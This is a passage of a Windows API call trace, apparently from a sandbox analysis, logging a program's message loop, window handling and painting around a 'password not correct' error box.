y=592)) returned 1 [0270.896] WindowFromPoint (Point=0x33b) returned 0x10340 [0270.896] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24f033b) returned 0x1 [0270.896] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.896] GetCurrentProcessId () returned 0x8d0 [0270.896] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.896] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.896] GetCapture () returned 0x0 [0270.896] WaitMessage () returned 1 [0271.424] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0271.424] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0271.425] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0271.425] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0271.425] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0271.425] WindowFromPoint (Point=0x33e) returned 0x10340 [0271.425] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033e) returned 0x1 [0271.425] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0271.425] GetCurrentProcessId () returned 0x8d0 [0271.425] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0271.425] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0271.425] GetCapture () returned 0x0 [0271.425] WaitMessage () returned 1 [0272.953] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0272.953] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0272.954] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0272.955] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0272.955] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0272.955] WindowFromPoint (Point=0x33f) returned 0x10340 [0272.955] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x253033f) returned 0x1 [0272.955] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0272.955] GetCurrentProcessId () returned 0x8d0 [0272.955] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0272.955] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0272.955] GetCapture () returned 0x0 [0272.955] WaitMessage () returned 1 [0273.062] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0273.062] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2570337) returned 0x1 [0273.063] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=823, y=599)) returned 1 [0273.063] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0273.063] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0273.063] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0273.063] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0273.063] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0273.063] GetCapture () returned 0x0 [0273.063] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0273.063] WindowFromPoint (Point=0x337) returned 0x10340 [0273.063] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2570337) returned 0x1 [0273.063] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0273.063] GetCurrentProcessId () returned 0x8d0 [0273.063] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0273.063] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0273.063] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0xb0019) returned 0x0 [0273.063] GetKeyState (nVirtKey=18) returned 1 [0273.063] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0273.063] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=823, y=599)) returned 1 [0273.064] WindowFromPoint (Point=0x337) returned 0x10340 [0273.064] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2570337) returned 0x1 [0273.064] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0273.064] GetCurrentProcessId () returned 0x8d0 [0273.064] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0273.064] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0273.064] GetCapture () returned 0x0 [0273.064] WaitMessage () returned 1 [0273.158] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0273.158] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2570337) returned 0x1 [0273.159] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x210, wParam=0x201, lParam=0x1520160) returned 0x0 [0273.159] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0273.159] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0273.159] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=823, y=599)) returned 1 [0273.159] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0273.159] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0273.159] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0273.159] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0273.159] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0273.159] GetFocus () returned 0x1035c [0273.159] SetFocus (hWnd=0x10340) returned 0x1035c [0273.159] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x8, wParam=0x10340, lParam=0x0) returned 0x1 [0273.159] GetWindowThreadProcessId (in: hWnd=0x1035c, lpdwProcessId=0x18f7ec | out: lpdwProcessId=0x18f7ec) returned 0x8cc [0273.159] GetCurrentProcessId () returned 0x8d0 [0273.159] GetPropA (hWnd=0x1035c, lpString=0xc167) returned 0x2c746a0 [0273.160] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0273.160] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0273.161] SendMessageA (hWnd=0x1035c, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0273.161] SendMessageA (hWnd=0x1035a, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0273.161] SendMessageA (hWnd=0x40338, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0273.161] SendMessageA (hWnd=0xb0168, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0273.161] SendMessageA (hWnd=0x60050, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0273.161] SendMessageA (hWnd=0x10340, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0273.161] GetClientRect (in: hWnd=0x10340, lpRect=0x18fb64 | out: lpRect=0x18fb64) returned 1 [0273.161] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0273.161] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0273.161] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0273.161] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0273.161] IsIconic (hWnd=0xc0060) returned 0 [0273.161] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0273.161] IsIconic (hWnd=0xc0060) returned 0 [0273.161] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0273.161] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0273.161] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0273.161] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0273.161] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x7, wParam=0x1035c, lParam=0x0) returned 0x0 [0273.161] GetFocus () returned 0x10340 [0273.161] GetCapture () returned 0x0 [0273.161] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xb004, wParam=0x0, lParam=0x2c86b08) returned 0x0 [0273.161] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x201, wParam=0x1, lParam=0xb0019) returned 0x0 [0273.161] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x1, lParam=0x0) returned 0x0 [0273.161] GetKeyState (nVirtKey=18) returned 1 [0273.162] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0273.162] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0273.162] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0273.162] GetCapture () returned 0x10340 [0273.162] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x202, wParam=0x0, lParam=0xb0019) returned 0x0 [0273.162] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x0, lParam=0x0) returned 0x0 [0273.162] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0273.162] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f9c0 | out: lpdwProcessId=0x18f9c0) returned 0x8cc [0273.162] GetCurrentProcessId () returned 0x8d0 [0273.162] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0273.162] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0273.162] GetCursor () returned 0x10003 [0273.162] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0273.162] SetCursor (hCursor=0x10007) returned 0x10003 [0273.163] Sleep (dwMilliseconds=0x2ee) [0273.970] SetCursor (hCursor=0x10003) returned 0x10007 [0273.971] IsIconic (hWnd=0x2024a) returned 0 [0273.971] GetWindowLongA (hWnd=0x2024a, nIndex=-16) returned -1798701056 [0273.971] GetWindowLongA (hWnd=0x2024a, nIndex=-20) returned 256 [0273.971] GetActiveWindow () returned 0xc0060 [0273.971] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0273.972] GetProcAddress (hModule=0x76860000, lpProcName="MonitorFromWindow") returned 0x76883150 [0273.972] GetProcAddress (hModule=0x76860000, lpProcName="GetMonitorInfoA") returned 0x76884413 [0273.972] MonitorFromWindow (hwnd=0xc0060, dwFlags=0x2) returned 0x10001 [0273.972] MonitorFromWindow (hwnd=0x2024a, dwFlags=0x2) returned 0x10001 [0273.972] GetActiveWindow () returned 0xc0060 [0273.972] GetCurrentThreadId () returned 0x8cc [0273.972] EnumThreadWindows (dwThreadId=0x8cc, lpfn=0x41f2e4, lParam=0x0) returned 1 [0273.972] IsWindowVisible (hWnd=0x20330) returned 0 [0273.972] IsWindowVisible (hWnd=0x20334) returned 0 [0273.972] IsWindowVisible (hWnd=0xc0060) returned 1 [0273.972] IsWindowEnabled (hWnd=0xc0060) returned 1 [0273.973] EnableWindow (hWnd=0xc0060, bEnable=0) returned 0 [0273.973] GetCapture () returned 0x0 [0273.973] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0273.973] GetCapture () returned 0x0 [0273.973] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0273.973] IsWindowVisible (hWnd=0x80042) returned 0 [0273.973] IsWindowVisible (hWnd=0x2024a) returned 1 [0273.974] IsWindowEnabled (hWnd=0x2024a) returned 1 [0273.974] EnableWindow (hWnd=0x2024a, bEnable=0) returned 0 [0273.974] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0273.974] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0273.974] GetCurrentThreadId () returned 0x8cc [0273.974] EnumThreadWindows (dwThreadId=0x8cc, lpfn=0x41f2e4, lParam=0x0) returned 1 [0273.974] IsWindowVisible (hWnd=0x20330) returned 0 [0273.974] IsWindowVisible (hWnd=0x20334) returned 0 [0273.974] IsWindowVisible (hWnd=0xc0060) returned 1 [0273.974] IsWindowEnabled (hWnd=0xc0060) returned 0 [0273.974] IsWindowVisible (hWnd=0x80042) returned 0 [0273.974] IsWindowVisible (hWnd=0x30312) returned 0 [0273.974] IsWindowVisible (hWnd=0x3032a) returned 0 [0273.974] IsWindowVisible (hWnd=0x50048) returned 0 [0273.974] IsWindowVisible (hWnd=0x70044) returned 0 [0273.975] EnumWindows (lpEnumFunc=0x423eac, lParam=0x18f5b0) returned 0 [0273.975] GetWindow (hWnd=0x20330, uCmd=0x4) returned 0x0 [0273.975] GetWindow (hWnd=0x20334, uCmd=0x4) returned 0x0 [0273.975] GetWindow (hWnd=0x301ac, uCmd=0x4) returned 0x301aa [0273.975] GetWindow (hWnd=0x200f2, uCmd=0x4) returned 0x0 [0273.975] GetWindow (hWnd=0x200fa, uCmd=0x4) returned 0x0 [0273.975] GetWindow (hWnd=0x20104, uCmd=0x4) returned 0x0 [0273.975] GetWindow (hWnd=0x101e0, uCmd=0x4) returned 0x0 [0273.975] GetWindow (hWnd=0x100a4, uCmd=0x4) returned 0x1007c [0273.975] GetWindow (hWnd=0x100a2, uCmd=0x4) returned 0x1007c [0273.975] GetWindow (hWnd=0x1008c, uCmd=0x4) returned 0x1007c [0273.975] GetWindow (hWnd=0x100b8, uCmd=0x4) returned 0x1007c [0273.975] GetWindow (hWnd=0x100ac, uCmd=0x4) returned 0x1007c [0273.975] GetWindow (hWnd=0x100aa, uCmd=0x4) returned 0x1007c [0273.975] GetWindow (hWnd=0x100a6, uCmd=0x4) returned 0x1007c [0273.975] GetWindow (hWnd=0x10084, uCmd=0x4) returned 0x1007c [0273.976] GetWindow (hWnd=0x1007c, uCmd=0x4) returned 0x0 [0273.976] GetWindow (hWnd=0x101b4, uCmd=0x4) returned 0x201b2 [0273.976] GetWindow (hWnd=0x10118, uCmd=0x4) returned 0x0 [0273.976] GetWindow (hWnd=0x500c2, uCmd=0x4) returned 0x0 [0273.976] GetWindow (hWnd=0x100ba, uCmd=0x4) returned 0x0 [0273.976] GetWindow (hWnd=0xc0060, uCmd=0x4) returned 0x80042 [0273.976] GetWindow (hWnd=0x80042, uCmd=0x4) returned 0x2024a [0273.976] GetWindowLongA (hWnd=0x80042, nIndex=-20) returned 256 [0273.976] IsWindowVisible (hWnd=0x30312) returned 0 [0273.976] IsWindowVisible (hWnd=0x3032a) returned 0 [0273.976] IsWindowVisible (hWnd=0x50048) returned 0 [0273.976] IsWindowVisible (hWnd=0x70044) returned 0 [0273.977] MessageBoxA (hWnd=0x2024a, lpText="The password you entered is not correct. Please try again.", lpCaption="Error", uType=0x30) returned 1 [0273.988] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0274.013] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x86, wParam=0x0, lParam=0x20362) returned 0x1 [0274.024] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0274.024] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0274.024] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0274.026] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x8, wParam=0x20364, lParam=0x0) returned 0x0 [0274.026] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0274.026] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0274.027] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0274.034] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0274.034] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0274.034] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0274.034] GetSysColor (nIndex=8) returned 0x0 [0274.034] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0274.034] GetSysColor (nIndex=5) returned 0xffffff [0274.034] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0274.035] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9b8 | out: lpRect=0x18e9b8) returned 1 [0274.035] FillRect (hDC=0x6010b6a, lprc=0x18e9b8, hbr=0xe100186) returned 1 [0274.035] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x6010b6a, lParam=0x4) returned 0x0 [0274.035] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9b8 | out: lpRect=0x18e9b8) returned 1 [0274.035] FillRect (hDC=0x2f01018c, lprc=0x18e9b8, hbr=0xe100186) returned 1 [0274.035] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x2f01018c, lParam=0x4) returned 0x0 [0274.036] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x8010b6c, lParam=0x1035c) returned 0x2f100178 [0274.036] GetSysColor (nIndex=8) returned 0x0 [0274.036] SetTextColor (hdc=0x8010b6c, color=0x0) returned 0x0 [0274.036] GetSysColor (nIndex=5) returned 0xffffff [0274.036] SetBkColor (hdc=0x8010b6c, color=0xffffff) returned 0xffffff [0274.037] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0274.037] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18ef04 | out: lpdwProcessId=0x18ef04) returned 0x8cc [0274.037] GetCurrentProcessId () returned 0x8d0 [0274.037] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0274.037] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f174) returned 0x0 [0274.037] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.038] GetClientRect (in: hWnd=0x10340, lpRect=0x18ee64 | out: lpRect=0x18ee64) returned 1 [0274.038] FillRect (hDC=0x1f01019b, lprc=0x18ee64, hbr=0xe100186) returned 1 [0274.038] IsIconic (hWnd=0xc0060) returned 0 [0274.038] IsIconic (hWnd=0xc0060) returned 0 [0274.038] GetClientRect (in: hWnd=0xc0060, lpRect=0x18ed44 | out: lpRect=0x18ed44) returned 1 [0274.038] FillRect (hDC=0x220107d7, lprc=0x18ed44, hbr=0xe100186) returned 1 [0274.038] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x220107d7, lParam=0x4) returned 0x0 [0274.038] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x220107d7, lParam=0x10340) returned 0xe100186 [0274.039] GetSysColor (nIndex=8) returned 0x0 [0274.039] SetTextColor (hdc=0x220107d7, color=0x0) returned 0x0 [0274.039] GetSysColor (nIndex=15) returned 0xf0f0f0 [0274.039] SetBkColor (hdc=0x220107d7, color=0xf0f0f0) returned 0xffffff [0274.039] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0274.039] GetCurrentProcessId () returned 0x8d0 [0274.039] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0274.039] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0274.039] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0274.039] GetCurrentProcessId () returned 0x8d0 [0274.039] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0274.039] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0274.039] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0274.039] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18dd28) returned 0x7 [0274.040] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18dd00) returned 0x7 [0274.040] IsIconic (hWnd=0xc0060) returned 0 [0274.040] IsIconic (hWnd=0xc0060) returned 0 [0274.040] GetClientRect (in: hWnd=0xc0060, lpRect=0x18ed44 | out: lpRect=0x18ed44) returned 1 [0274.040] FillRect (hDC=0x3d01069e, lprc=0x18ed44, hbr=0xe100186) returned 1 [0274.041] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0274.041] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0274.041] GetSysColor (nIndex=8) returned 0x0 [0274.041] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0274.041] GetSysColor (nIndex=15) returned 0xf0f0f0 [0274.041] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xffffff [0274.041] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0274.041] GetCurrentProcessId () returned 0x8d0 [0274.041] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0274.041] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0274.041] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0274.041] GetCurrentProcessId () returned 0x8d0 [0274.041] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0274.041] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0274.041] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0274.042] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18dd28) returned 0x7 [0274.042] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18dd00) returned 0x7 [0274.054] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0274.084] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0274.094] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.095] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0274.095] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1040ba6, lParam=0x0) returned 0x1 [0274.095] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0274.095] GetSysColor (nIndex=8) returned 0x0 [0274.095] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0274.095] GetSysColor (nIndex=5) returned 0xffffff [0274.095] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0274.106] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0274.112] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0274.215] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0274.215] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.215] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0274.216] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x5040ba7, lParam=0x0) returned 0x1 [0274.216] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0274.216] GetSysColor (nIndex=8) returned 0x0 [0274.216] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0274.216] GetSysColor (nIndex=5) returned 0xffffff [0274.216] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0274.223] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0274.264] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.265] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0274.265] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x6040ba5, lParam=0x0) returned 0x1 [0274.265] SendMessageA 